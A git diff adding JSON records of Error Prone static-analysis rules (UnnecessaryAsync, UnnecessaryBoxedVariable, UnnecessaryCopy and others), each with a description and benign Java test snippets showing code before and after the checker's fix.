+ }, + { + "description": "initializedViaInitMocks", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import org.mockito.Mock;\n import org.mockito.Mockito;\n import org.mockito.MockitoAnnotations;\n\n class Test {\n @Mock Object mockObject = Mockito.mock(Object.class);\n\n void before() {\n MockitoAnnotations.initMocks(this);\n }\n }\n \n\n import org.mockito.Mock;\n import org.mockito.Mockito;\n import org.mockito.MockitoAnnotations;\n\n class Test {\n @Mock Object mockObject;\n\n void before() {\n MockitoAnnotations.initMocks(this);\n }\n }" + }, + { + "description": "noInitializerPresent_retainManualInitialization", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "import org.mockito.Mock;\n import org.mockito.Mockito;\n\n class Test {\n @Mock Object mockObject = Mockito.mock(Object.class);\n }\n \n\n import org.mockito.Mock;\n import org.mockito.Mockito;\n\n class Test {\n Object mockObject = Mockito.mock(Object.class);\n }" + }, + { + "description": "initializedViaRunner", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "import org.junit.runner.RunWith;\n import org.mockito.Mock;\n import org.mockito.Mockito;\n import org.mockito.junit.MockitoJUnitRunner;\n\n @RunWith(MockitoJUnitRunner.class)\n public class Test {\n @Mock Object mockObject = Mockito.mock(Object.class);\n }\n \n\n import org.junit.runner.RunWith;\n import org.mockito.Mock;\n import org.mockito.Mockito;\n import org.mockito.junit.MockitoJUnitRunner;\n\n @RunWith(MockitoJUnitRunner.class)\n public class Test {\n @Mock Object mockObject;\n }" + }, + { + "description": "positiveOnTestParameter", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "import com.google.testing.junit.testparameterinjector.TestParameter;\n\n class Test {\n // BUG: Diagnostic contains: @TestParameter\n @TestParameter boolean myFoo = false;\n }" + }, + { + "description": "optionalInject_notFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "import com.google.inject.Inject;\n\n class Test {\n @Inject(optional = true)\n boolean myFoo = false;\n }" + }, + { + "description": "optionalInject_notFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "import com.google.inject.Inject;\n\n class Test {\n @Inject(optional = true)\n boolean myFoo = false;\n }" + }, + { + "description": "optionalInject_notFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "import com.google.inject.Inject;\n\n class Test {\n @Inject(optional = true)\n boolean myFoo = false;\n }" + }, + { + "description": "fixForTestParameter_deletesAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 232 + ], + "code": "import com.google.testing.junit.testparameterinjector.TestParameter;\n\n class Test {\n @TestParameter boolean myFoo = false;\n }\n \n\n import com.google.testing.junit.testparameterinjector.TestParameter;\n\n class Test {\n @TestParameter boolean myFoo;\n }" + }, + { + "description": "fixForTestParameter_ifFinal_deletesAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 256 + ], + "code": "import com.google.testing.junit.testparameterinjector.TestParameter;\n\n class Test {\n @TestParameter final boolean myFoo = false;\n }\n \n\n import com.google.testing.junit.testparameterinjector.TestParameter;\n\n class Test {\n final boolean myFoo = false;\n }" + }, + { + "description": "fixForTestParameter_ifFinal_deletesAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 256 + ], + "code": "import com.google.testing.junit.testparameterinjector.TestParameter;\n\n class Test {\n @TestParameter final boolean myFoo = false;\n }\n \n\n import com.google.testing.junit.testparameterinjector.TestParameter;\n\n class Test {\n final boolean myFoo = false;\n }" + }, + { + "description": "fixForTestParameter_ifFinal_deletesAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 256 + ], + "code": "import com.google.testing.junit.testparameterinjector.TestParameter;\n\n class Test {\n @TestParameter final boolean myFoo = false;\n }\n \n\n import com.google.testing.junit.testparameterinjector.TestParameter;\n\n class Test {\n final boolean myFoo = false;\n }" + }, + { + "description": "inject_assignedElsewhere_assignmentDeleted", + "expected-problems": null, + "expected-linenumbers": [ + 280 + ], + "code": "import com.google.inject.Inject;\n\n class Test {\n @Inject boolean myFoo;\n\n void sin() {\n myFoo = false;\n }\n }\n \n\n import com.google.inject.Inject;\n\n class Test {\n @Inject boolean myFoo;\n\n void sin() {}\n }" + }, + { + "description": "inject_assignedElsewhere_assignmentDeleted", + "expected-problems": null, + "expected-linenumbers": [ + 280 + ], + "code": "import com.google.inject.Inject;\n\n class Test {\n @Inject boolean myFoo;\n\n void sin() {\n myFoo = false;\n }\n }\n \n\n import com.google.inject.Inject;\n\n class Test {\n @Inject boolean myFoo;\n\n void sin() {}\n }" + }, + { + "description": "inject_assignedElsewhereButOptional_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 310 + ], + "code": "import com.google.inject.Inject;\n\n class Test {\n @Inject(optional = true)\n boolean myFoo;\n\n void sin() {\n myFoo = false;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAsync.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAsync.json new file mode 100644 index 0000000..405d5a9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryAsync.json @@ -0,0 +1,94 @@ +{ + "name": "UnnecessaryAsync", + "language": "java", + "description": "Variables which are initialized and do not escape the current scope do not need to worry about concurrency. Using the non-concurrent type will reduce overhead and verbosity.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 212, + "branches": 36, + "apis": 5, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import java.util.concurrent.atomic.AtomicInteger;\n\n class Test {\n int test() {\n // BUG: Diagnostic contains:\n var ai = new AtomicInteger();\n ai.set(1);\n return ai.get();\n }\n }" + }, + { + "description": "refactoringInteger", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import java.util.concurrent.atomic.AtomicInteger;\n\n class Test {\n int test() {\n var ai = new AtomicInteger();\n ai.set(1);\n return ai.get();\n }\n }\n \n\n import java.util.concurrent.atomic.AtomicInteger;\n\n class Test {\n int test() {\n int ai = 0;\n ai = 1;\n return ai;\n }\n }" + }, + { + "description": "refactoringReference", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "import java.util.concurrent.atomic.AtomicReference;\n\n class Test {\n String test() {\n var ar = new AtomicReference(null);\n ar.compareAndSet(null, \"foo\");\n return ar.get();\n }\n }\n \n\n import java.util.concurrent.atomic.AtomicReference;\n\n class Test {\n String test() {\n String ar = null;\n ar = \"foo\";\n return ar;\n }\n }" + }, + { + "description": "refactoring_unfixable_noAttempt", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "import java.util.concurrent.atomic.AtomicReference;\n\n class Test {\n String test() {\n var ar = new AtomicReference(null);\n return ar.toString();\n }\n }" + }, + { + "description": "refactoring_rawType", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "import java.util.concurrent.atomic.AtomicReference;\n\n class Test {\n Object test() {\n var ar = new AtomicReference();\n ar.set(\"foo\");\n return ar.get();\n }\n }\n \n\n import java.util.concurrent.atomic.AtomicReference;\n\n class Test {\n Object test() {\n Object ar = null;\n ar = \"foo\";\n return ar;\n }\n }" + }, + { + "description": "negative_escapesScope", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "import java.util.concurrent.atomic.AtomicInteger;\n\n class Test {\n AtomicInteger test() {\n var ai = new AtomicInteger();\n ai.set(1);\n return ai;\n }\n }" + }, + { + "description": "negative_passedToAnotherMethod", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "import java.util.concurrent.atomic.AtomicInteger;\n\n class Test {\n void test() {\n var ai = new AtomicInteger();\n ai.set(1);\n frobnicate(ai);\n }\n\n void frobnicate(Number n) {}\n }" + }, + { + "description": "positive_uselessConcurrentMap", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "import java.util.concurrent.ConcurrentHashMap;\n\n class Test {\n int test() {\n // BUG: Diagnostic contains:\n var chm = new ConcurrentHashMap<>();\n chm.put(1, 2);\n return chm.size();\n }\n }" + }, + { + "description": "negative_capturedByLambda", + "expected-problems": null, + "expected-linenumbers": [ + 227 + ], + "code": "import java.util.concurrent.atomic.AtomicInteger;\n import java.util.List;\n\n class Test {\n long test(List xs) {\n var ai = new AtomicInteger();\n return xs.stream().mapToLong(x -> ai.getAndIncrement()).sum();\n }\n }" + }, + { + "description": "atomicReference_unfixable", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "import java.util.concurrent.atomic.AtomicReference;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: String result = null;\n AtomicReference result = new AtomicReference<>();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBoxedAssignment.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBoxedAssignment.json new file mode 100644 index 0000000..03f9aa5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBoxedAssignment.json @@ -0,0 +1,22 @@ +{ + "name": "UnnecessaryBoxedAssignment", + "language": "java", + "description": "This expression can be implicitly boxed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "cases", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.function.Function;\n\n /**\n * @author awturner@google.com (Andy Turner)\n */\n class UnnecessaryBoxedAssignmentCases {\n void negative_void() {\n return;\n }\n\n boolean positive_booleanPrimitive(boolean aBoolean) {\n return Boolean.valueOf(aBoolean);\n }\n\n Boolean positive_booleanWrapped(boolean aBoolean) {\n Boolean b = Boolean.valueOf(aBoolean);\n return Boolean.valueOf(aBoolean);\n }\n\n Boolean negative_booleanString(String aString) {\n Boolean b = Boolean.valueOf(aString);\n return Boolean.valueOf(aString);\n }\n\n byte positive_bytePrimitive(byte aByte) {\n return Byte.valueOf(aByte);\n }\n\n Byte positive_byteWrapped(byte aByte) {\n Byte b = Byte.valueOf(aByte);\n return Byte.valueOf(aByte);\n }\n\n Byte negative_byteString(String aString) {\n Byte b = Byte.valueOf(aString);\n return Byte.valueOf(aString);\n }\n\n int positive_integerPrimitive(int aInteger) {\n return Integer.valueOf(aInteger);\n }\n\n Integer positive_integerWrapped(int aInteger) {\n Integer i = Integer.valueOf(aInteger);\n return Integer.valueOf(aInteger);\n }\n\n Integer negative_integerString(String aString) {\n Integer i = Integer.valueOf(aString);\n return Integer.valueOf(aString);\n }\n\n Long negative_integerWrapped(int aInteger) {\n Long aLong = Long.valueOf(aInteger);\n return Long.valueOf(aInteger);\n }\n\n Integer positive_wrappedAgain(int aInteger) {\n Integer a = Integer.valueOf(aInteger);\n a = Integer.valueOf(aInteger);\n return Integer.valueOf(a);\n }\n\n void negative_methodReference() {\n Function toBoolean = Boolean::valueOf;\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.function.Function;\n\n /**\n * @author awturner@google.com (Andy Turner)\n */\n class UnnecessaryBoxedAssignmentCases {\n void negative_void() {\n return;\n }\n\n boolean positive_booleanPrimitive(boolean aBoolean) {\n return aBoolean;\n }\n\n Boolean positive_booleanWrapped(boolean aBoolean) {\n Boolean b = aBoolean;\n return aBoolean;\n }\n\n Boolean negative_booleanString(String aString) {\n Boolean b = Boolean.valueOf(aString);\n return Boolean.valueOf(aString);\n }\n\n byte positive_bytePrimitive(byte aByte) {\n return aByte;\n }\n\n Byte positive_byteWrapped(byte aByte) {\n Byte b = aByte;\n return aByte;\n }\n\n Byte negative_byteString(String aString) {\n Byte b = Byte.valueOf(aString);\n return Byte.valueOf(aString);\n }\n\n int positive_integerPrimitive(int aInteger) {\n return aInteger;\n }\n\n Integer positive_integerWrapped(int aInteger) {\n Integer i = aInteger;\n return aInteger;\n }\n\n Integer negative_integerString(String aString) {\n Integer i = Integer.valueOf(aString);\n return Integer.valueOf(aString);\n }\n\n Long negative_integerWrapped(int aInteger) {\n Long aLong = Long.valueOf(aInteger);\n return Long.valueOf(aInteger);\n }\n\n Integer positive_wrappedAgain(int aInteger) {\n Integer a = aInteger;\n a = aInteger;\n return a;\n }\n\n void negative_methodReference() {\n Function toBoolean = Boolean::valueOf;\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBoxedVariable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBoxedVariable.json new file mode 100644 index 0000000..43e4577 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBoxedVariable.json @@ -0,0 +1,62 @@ +{ + "name": "UnnecessaryBoxedVariable", + "language": "java", + "description": "It is unnecessary for this variable to be boxed. Use the primitive instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 399, + "branches": 59, + "apis": 3, + "test": [ + { + "description": "cases", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.base.Preconditions.checkNotNull;\n\n import java.util.List;\n import java.util.stream.Stream;\n import org.jspecify.annotations.Nullable;\n\n /**\n * @author awturner@google.com (Andy Turner)\n */\n class UnnecessaryBoxedVariableCases {\n void positive_local() {\n Integer i = 0;\n }\n\n int positive_local_return() {\n Integer i = 0;\n return i;\n }\n\n Integer positive_local_addition() {\n Integer i = 0;\n return i + 1;\n }\n\n void positive_local_compoundAddition(Integer addend) {\n Integer i = 0;\n i += addend;\n\n int j = 0;\n j += i;\n }\n\n void positive_methodInvocation() {\n Integer i = 0;\n methodPrimitiveArg(i);\n }\n\n void negative_methodInvocation() {\n Integer i = 0;\n methodBoxedArg(i);\n }\n\n void positive_assignedValueOf() {\n Integer i = Integer.valueOf(0);\n }\n\n int positive_assignedValueOf_return() {\n Integer i = Integer.valueOf(0);\n return i;\n }\n\n int positive_noInitializer() {\n Integer i;\n i = 0;\n return i;\n }\n\n void negative_enhancedForLoopOverCollection(List list) {\n for (Integer i : list) {}\n }\n\n void negative_enhancedForLoopOverWrappedArray(Integer[] array) {\n for (Integer i : array) {}\n }\n\n void positive_enhancedForLoopOverPrimitiveArray(int[] array) {\n for (Integer i : array) {}\n }\n\n final void negative_invokeMethod(Integer i) throws InterruptedException {\n i.wait(0);\n }\n\n final Object[] negative_objectArray(Long l) {\n return new Object[] {\"\", l};\n }\n\n void negative_null() {\n Integer i = null;\n }\n\n void negative_null_noInitializer() {\n Integer i;\n i = null;\n i = 0;\n }\n\n void negative_null_reassignNull() {\n Integer i = 0;\n i = null;\n }\n\n void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) {\n for (Integer i : array) {\n i = null;\n }\n }\n\n void negative_boxedVoid() {\n Void v;\n }\n\n int negative_assignmentInReturn() {\n Integer myVariable;\n return myVariable = methodBoxedArg(42);\n }\n\n int positive_assignmentInReturn() {\n Integer myVariable;\n return myVariable = Integer.valueOf(42);\n }\n\n int positive_assignmentInReturn2() {\n Integer myVariable;\n return myVariable = Integer.valueOf(42);\n }\n\n int positive_hashCode() {\n Integer myVariable = 0;\n return myVariable.hashCode();\n }\n\n short positive_castMethod() {\n Integer myVariable = 0;\n return myVariable.shortValue();\n }\n\n int positive_castMethod_sameType() {\n Integer myVariable = 0;\n return myVariable.intValue();\n }\n\n void positive_castMethod_statementExpression() {\n Integer myVariable = 0;\n myVariable.longValue();\n }\n\n void negative_methodReference() {\n Integer myVariable = 0;\n Stream stream = Stream.of(1).filter(myVariable::equals);\n }\n\n static void positive_parameter_staticMethod(Boolean b) {\n boolean a = b;\n }\n\n static void negative_parameter_staticMethod(Boolean b) {\n System.out.println(\"a \" + b);\n }\n\n static boolean positive_parameter_returnType(Boolean b) {\n return b;\n }\n\n void negative_parameter_instanceMethod_nonFinal(Boolean b) {\n boolean a = b;\n }\n\n final void negative_parameter_instanceMethod_final(Boolean b) {\n boolean a = b;\n }\n\n static void negative_parameter_unused(Integer i) {}\n\n static void positive_removeNullable_parameter(@Nullable Integer i) {\n int j = i;\n }\n\n static void positive_removeNullable_localVariable() {\n @Nullable Integer i = 0;\n @org.jspecify.annotations.Nullable Integer j = 0;\n int k = i + j;\n }\n\n static int positive_nullChecked_expression(Integer i) {\n return checkNotNull(i);\n }\n\n static int positive_nullChecked_expression_message(Integer i) {\n return checkNotNull(i, \"Null: [%s]\", i);\n }\n\n static int positive_nullChecked_statement(Integer i) {\n checkNotNull(i);\n return i;\n }\n\n static int positive_nullChecked_statement_message(Integer i) {\n checkNotNull(i, \"Null: [%s]\", i);\n return i;\n }\n\n private void methodPrimitiveArg(int i) {}\n\n private Integer methodBoxedArg(Integer i) {\n return i;\n }\n }\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.base.Preconditions.checkNotNull;\n\n import java.util.List;\n import java.util.stream.Stream;\n import org.jspecify.annotations.Nullable;\n\n /**\n * @author awturner@google.com (Andy Turner)\n */\n class UnnecessaryBoxedVariableCases {\n void positive_local() {\n int i = 0;\n }\n\n int positive_local_return() {\n int i = 0;\n return i;\n }\n\n Integer positive_local_addition() {\n int i = 0;\n return i + 1;\n }\n\n void positive_local_compoundAddition(Integer addend) {\n int i = 0;\n i += addend;\n\n int j = 0;\n j += i;\n }\n\n void positive_methodInvocation() {\n int i = 0;\n methodPrimitiveArg(i);\n }\n\n void negative_methodInvocation() {\n Integer i = 0;\n methodBoxedArg(i);\n }\n\n void positive_assignedValueOf() {\n int i = Integer.valueOf(0);\n }\n\n int positive_assignedValueOf_return() {\n int i = Integer.valueOf(0);\n return i;\n }\n\n int positive_noInitializer() {\n int i;\n i = 0;\n return i;\n }\n\n void negative_enhancedForLoopOverCollection(List list) {\n for (Integer i : list) {}\n }\n\n void negative_enhancedForLoopOverWrappedArray(Integer[] array) {\n for (Integer i : array) {}\n }\n\n void positive_enhancedForLoopOverPrimitiveArray(int[] array) {\n for (int i : array) {}\n }\n\n final void negative_invokeMethod(Integer i) throws InterruptedException {\n i.wait(0);\n }\n\n final Object[] negative_objectArray(Long l) {\n return new Object[] {\"\", l};\n }\n\n void negative_null() {\n Integer i = null;\n }\n\n void negative_null_noInitializer() {\n Integer i;\n i = null;\n i = 0;\n }\n\n void negative_null_reassignNull() {\n Integer i = 0;\n i = null;\n }\n\n void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) {\n for (Integer i : array) {\n i = null;\n }\n }\n\n void negative_boxedVoid() {\n Void v;\n }\n\n int negative_assignmentInReturn() {\n Integer myVariable;\n return myVariable = methodBoxedArg(42);\n }\n\n int positive_assignmentInReturn() {\n int myVariable;\n return myVariable = Integer.valueOf(42);\n }\n\n int positive_assignmentInReturn2() {\n int myVariable;\n return myVariable = Integer.valueOf(42);\n }\n\n int positive_hashCode() {\n int myVariable = 0;\n return Integer.hashCode(myVariable);\n }\n\n short positive_castMethod() {\n int myVariable = 0;\n return (short) myVariable;\n }\n\n int positive_castMethod_sameType() {\n int myVariable = 0;\n return myVariable;\n }\n\n void positive_castMethod_statementExpression() {\n int myVariable = 0;\n }\n\n void negative_methodReference() {\n Integer myVariable = 0;\n Stream stream = Stream.of(1).filter(myVariable::equals);\n }\n\n static void positive_parameter_staticMethod(boolean b) {\n boolean a = b;\n }\n\n static void negative_parameter_staticMethod(Boolean b) {\n System.out.println(\"a \" + b);\n }\n\n static boolean positive_parameter_returnType(boolean b) {\n return b;\n }\n\n void negative_parameter_instanceMethod_nonFinal(Boolean b) {\n boolean a = b;\n }\n\n final void negative_parameter_instanceMethod_final(boolean b) {\n boolean a = b;\n }\n\n static void negative_parameter_unused(Integer i) {}\n\n static void positive_removeNullable_parameter(int i) {\n int j = i;\n }\n\n static void positive_removeNullable_localVariable() {\n int i = 0;\n int j = 0;\n int k = i + j;\n }\n\n static int positive_nullChecked_expression(int i) {\n return i;\n }\n\n static int positive_nullChecked_expression_message(int i) {\n return i;\n }\n\n static int positive_nullChecked_statement(int i) {\n return i;\n }\n\n static int positive_nullChecked_statement_message(int i) {\n return i;\n }\n\n private void methodPrimitiveArg(int i) {}\n\n private Integer methodBoxedArg(Integer i) {\n return i;\n }\n }" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 448 + ], + "code": "class Test {\n @SuppressWarnings(\"UnnecessaryBoxedVariable\")\n private int a(Integer o) {\n return o;\n }\n }" + }, + { + "description": "lambdas", + "expected-problems": null, + "expected-linenumbers": [ + 465 + ], + "code": "class Test {\n interface Boxed {\n void a(O b);\n }\n\n void boxed(Boxed b) {}\n\n private void test() {\n boxed(\n (Double a) -> {\n double b = a + 1;\n });\n }\n }" + }, + { + "description": "lambdaReturn", + "expected-problems": null, + "expected-linenumbers": [ + 489 + ], + "code": "class Test {\n interface F {\n int f(Integer i);\n }\n\n Test() {\n F f =\n (Integer i) -> {\n return i;\n };\n }\n }" + }, + { + "description": "positiveFactory", + "expected-problems": null, + "expected-linenumbers": [ + 511 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Foo {\n abstract int getFoo();\n\n abstract boolean isBar();\n\n // BUG: Diagnostic contains: int foo\n static Foo create(Integer foo, Boolean bar) {\n return new AutoValue_Foo(foo, bar);\n }\n }" + }, + { + "description": "recordsIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 535 + ], + "code": "import static com.google.common.base.Preconditions.checkNotNull;\n\n record Foo(Integer foo, boolean bar) {\n Foo {\n checkNotNull(foo);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBreakInSwitch.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBreakInSwitch.json new file mode 100644 index 0000000..1f75494 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryBreakInSwitch.json @@ -0,0 +1,70 @@ +{ + "name": "UnnecessaryBreakInSwitch", + "language": "java", + "description": "This break is unnecessary, fallthrough does not occur in -> switches", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n default -> {\n // BUG: Diagnostic contains: break is unnecessary\n break;\n }\n }\n ;\n }\n }" + }, + { + "description": "negativeTraditional", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n default:\n break;\n }\n ;\n }\n }" + }, + { + "description": "negativeEmpty", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n default -> {}\n }\n ;\n }\n }" + }, + { + "description": "negativeNotLast", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n default -> {\n if (true) {\n break;\n }\n System.err.println();\n }\n }\n ;\n }\n }" + }, + { + "description": "negativeLabelledBreak", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "class Test {\n void f(int i) {\n outer:\n while (true) {\n switch (i) {\n default -> {\n break outer;\n }\n }\n }\n }\n }" + }, + { + "description": "negativeLoop", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "class Test {\n void f(int i) {\n while (true) {\n switch (i) {\n default -> {\n while (true) {\n break;\n }\n }\n }\n }\n }\n }" + }, + { + "description": "positiveIf", + "expected-problems": null, + "expected-linenumbers": [ + 156 + ], + "code": "class Test {\n void f(int i) {\n switch (i) {\n default -> {\n if (true) {\n // BUG: Diagnostic contains: break is unnecessary\n break;\n } else {\n // BUG: Diagnostic contains: break is unnecessary\n break;\n }\n }\n }\n ;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryCopy.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryCopy.json new file mode 100644 index 0000000..d45685c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryCopy.json @@ -0,0 +1,70 @@ +{ + "name": "UnnecessaryCopy", + "language": "java", + "description": "This collection is already immutable (just not ImmutableList/ImmutableMap); copying it is unnecessary.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 139, + "branches": 13, + "apis": 4, + "test": [ + { + "description": "positiveViaVariable", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n List f(TestProtoMessage m) {\n ImmutableList l = ImmutableList.copyOf(m.getMultiFieldList());\n return l;\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n List f(TestProtoMessage m) {\n List l = m.getMultiFieldList();\n return l;\n }\n }" + }, + { + "description": "positiveViaVariable_usageIsMethodInvocation", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n List f(TestProtoMessage m) {\n ImmutableList l = ImmutableList.copyOf(m.getMultiFieldList());\n return l.stream().map(x -> x).collect(ImmutableList.toImmutableList());\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n List f(TestProtoMessage m) {\n List l = m.getMultiFieldList();\n return l.stream().map(x -> x).collect(ImmutableList.toImmutableList());\n }\n }" + }, + { + "description": "positiveViaVariable_map", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "import com.google.common.collect.ImmutableMap;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.Map;\n\n class Test {\n Map f(TestProtoMessage m) {\n ImmutableMap l = ImmutableMap.copyOf(m.getWeightMap());\n return l;\n }\n }\n \n\n import com.google.common.collect.ImmutableMap;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.Map;\n\n class Test {\n Map f(TestProtoMessage m) {\n Map l = m.getWeightMap();\n return l;\n }\n }" + }, + { + "description": "positiveViaVariable_rawType", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n List f(TestProtoMessage m) {\n ImmutableList l = ImmutableList.copyOf(m.getMultiFieldList());\n return l;\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n List f(TestProtoMessage m) {\n List l = m.getMultiFieldList();\n return l;\n }\n }" + }, + { + "description": "positiveUsedDirectly", + "expected-problems": null, + "expected-linenumbers": [ + 175 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n\n class Test {\n void f(TestProtoMessage m) {\n for (var x : ImmutableList.copyOf(m.getMultiFieldList())) {}\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n\n class Test {\n void f(TestProtoMessage m) {\n for (var x : m.getMultiFieldList()) {}\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n ImmutableList f(TestProtoMessage m) {\n ImmutableList l = ImmutableList.copyOf(m.getMultiFieldList());\n return l;\n }\n }" + }, + { + "description": "field_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 229 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n private static final TestProtoMessage PROTO = TestProtoMessage.getDefaultInstance();\n\n private static final ImmutableList FIELDS =\n ImmutableList.copyOf(PROTO.getMultiFieldList());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryDefaultInEnumSwitch.json 